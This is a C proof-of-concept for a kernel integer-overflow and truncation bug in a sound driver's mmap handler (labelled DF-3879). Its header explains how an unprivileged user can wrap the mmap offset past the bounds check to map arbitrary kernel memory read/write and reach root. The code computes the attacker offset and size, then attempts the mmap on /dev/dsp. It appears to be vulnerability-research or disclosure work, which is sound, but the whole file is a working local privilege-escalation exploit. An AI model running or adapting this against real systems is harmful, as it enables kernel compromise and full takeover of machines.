DF-3879 / mmap_ofs_overflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-3879 PoC โ integer-overflow bounds bypass + 32-bit truncation in * dsp_mmap_single() (sys/dev/sound/pcm/dsp.c:2296-2364), reachable by any * unprivileged user on a machine with a PCM sound device (/dev/dsp* are * created 0666 root:wheel, dsp.c:2506-2509). * * The kernel's only bounds check is: * * (*offset + size) > sndbuf_getsize(c->bufsoft) dsp.c:2342 * * with *offset (vm_ooffset_t, u64) taken straight from the user's mmap() * offset โ kern_mmap() does no range validation of pos for VCHR mappings * (sys/vm/vm_mmap.c:195-197 page-aligns only) and dev_dmmap_single() passes * the pointer through unvalidated (sys/kern/kern_device.c:286-310). * A 64-bit wrap (*offset = 2^64 - size + x, x in [0, bufsize]) makes the * sum small and the check PASS. * * The wrapped offset is then handed to: * * *offset = (uintptr_t)sndbuf_getbufofs(c->bufsoft, *offset); dsp.c:2355 * * whose parameter is `unsigned int ofs` (sys/dev/sound/pcm/buffer.c:424-429) * โ the u64 is TRUNCATED to 32 bits. The only in-function bound is a * KASSERT (compiled out on GENERIC/production kernels), so ofs in * [bufsize, 4GB) yields * * wild = b->buf + ofs (b->buf = kernel KVA of the soft buffer) * * That wild kernel pointer becomes the device-pager object offset * (dev_pager_alloc, dsp.c:2357 -> sys/vm/device_pager.c:174), and every * page fault on the user mapping funnels it back through the legacy * d_mmap hook: * * old_dev_pager_fault -> dev_dmmap(dev, wild + n*PAGE, prot) * -> dsp_mmap(dev, offset) dsp.c:2287-2294 * -> atop(vtophys(wild + n*PAGE)) * * i.e. vtophys() on an ATTACKER-CHOSEN kernel virtual address (any page in * [b->buf, b->buf + 4GB)), and the returned physical page is entered into * the user's PTEs read/write (pmap_kextract, pmap.c:1865-1890; unmapped * wild targets degrade to phys-page-0-derived garbage frames rather than * an error). Result on sound-equipped systems: unprivileged arbitrary * kernel-memory read/write within 4GB of the sound soft buffer -> uid=0. * * This guest has NO PCM device (no audio PCI class, no hw.snd sysctl, no * /dev/dsp* โ see env.txt), so the kernel path cannot execute here. What * this PoC proves on any machine is (1) the exact wrap/truncation * arithmetic that bypasses dsp.c:2342 and lands on an attacker-chosen * wild ofs (the "primitive selection" half of the chain), and (2) the * device-absence gate on this guest. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/types.h> /* replica of the kernel check at dsp.c:2342 (u64 add + u32 compare) and the * u32 truncation at buffer.c:424; returns the ofs the kernel would use. */ static int pick_target(uint64_t bufsize, uint64_t size, uint64_t user_off, uint32_t *ofs_out, uint64_t *sum_out) { *sum_out = user_off + size; /* wraps mod 2^64 */ *ofs_out = (uint32_t)user_off; /* unsigned int ofs */ return (int)((*sum_out) > bufsize); /* 0 == check PASSES */ } int main(int argc, char **argv) { /* example soft-buffer size (2nd-level default for 48kHz/stereo/s16 * latency profile is 16KB..64KB; any value works, the arithmetic is * size-relative) */ uint64_t bufsize = argc > 1 ? strtoull(argv[1], NULL, 0) : 0x10000; printf("[*] dsp_mmap_single bounds check (dsp.c:2342) vs u32 truncation " "(buffer.c:424), bufsize=%llu\n", (unsigned long long)bufsize); /* 1) sanity: a sane offset is rejected by the check */ uint32_t ofs; uint64_t sum; int r = pick_target(bufsize, 0x1000, 0x20000, &ofs, &sum); /* beyond buf */ printf(" sane off=0x20000 size=0x1000 -> sum=0x%llx : %s\n", (unsigned long long)sum, r ? "REJECTED (check works)" : "PASSED (BUG)"); /* 2) attack: choose the wild ofs we want the kernel to use, then solve * for (size, offset) that makes *offset+size wrap to <= bufsize. * ofs must satisfy: size = 2^32 - ofs (mod 2^32), size <= mappable * user VA (<= 4GB here). e.g. target b->buf + 0x10000000 (256MB * above the sound buffer โ heap-spray landing zone). */ uint32_t want_ofs = 0x10000000; uint64_t size = (uint64_t)0x100000000ULL - want_ofs; /* 0xF0000000 */ uint64_t user_off = (uint64_t)(0ULL - size); /* = 2^64 - size (mod 2^64) */ r = pick_target(bufsize, size, user_off, &ofs, &sum); printf(" attack off=0x%016llx size=0x%llx\n", (unsigned long long)user_off, (unsigned long long)size); printf(" -> wrapped sum=0x%llx <= bufsize: %s ; " "truncated ofs=0x%x (wanted 0x%x) : %s\n", (unsigned long long)sum, r ? "FAIL" : "PASS", ofs, want_ofs, (r == 0 && ofs == want_ofs) ? "CHECK BYPASSED, wild ofs controlled" : "unexpected"); /* 3) kernel-side attempt: needs a live PCM device */ int fd = open("/dev/dsp", O_RDWR); if (fd < 0) { printf("[*] open(\"/dev/dsp\"): %s (errno=%d) โ no PCM device " "on this guest, kernel path not executable here\n", strerror(errno), errno); return 2; } void *p = mmap(NULL, (size_t)size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, (off_t)user_off); if (p == MAP_FAILED) { printf("[*] mmap: %s (errno=%d)\n", strerror(errno), errno); } else { /* DO NOT actually touch it here: on an affected system page 0 * of this mapping aliases kernel memory at b->buf+ofs. */ printf("[!] mmap succeeded โ mapping page 0 aliases KVA " "buf+0x%x; touching it would read/write kernel memory\n", want_ofs); munmap(p, (size_t)size); } close(fd); return 0; } |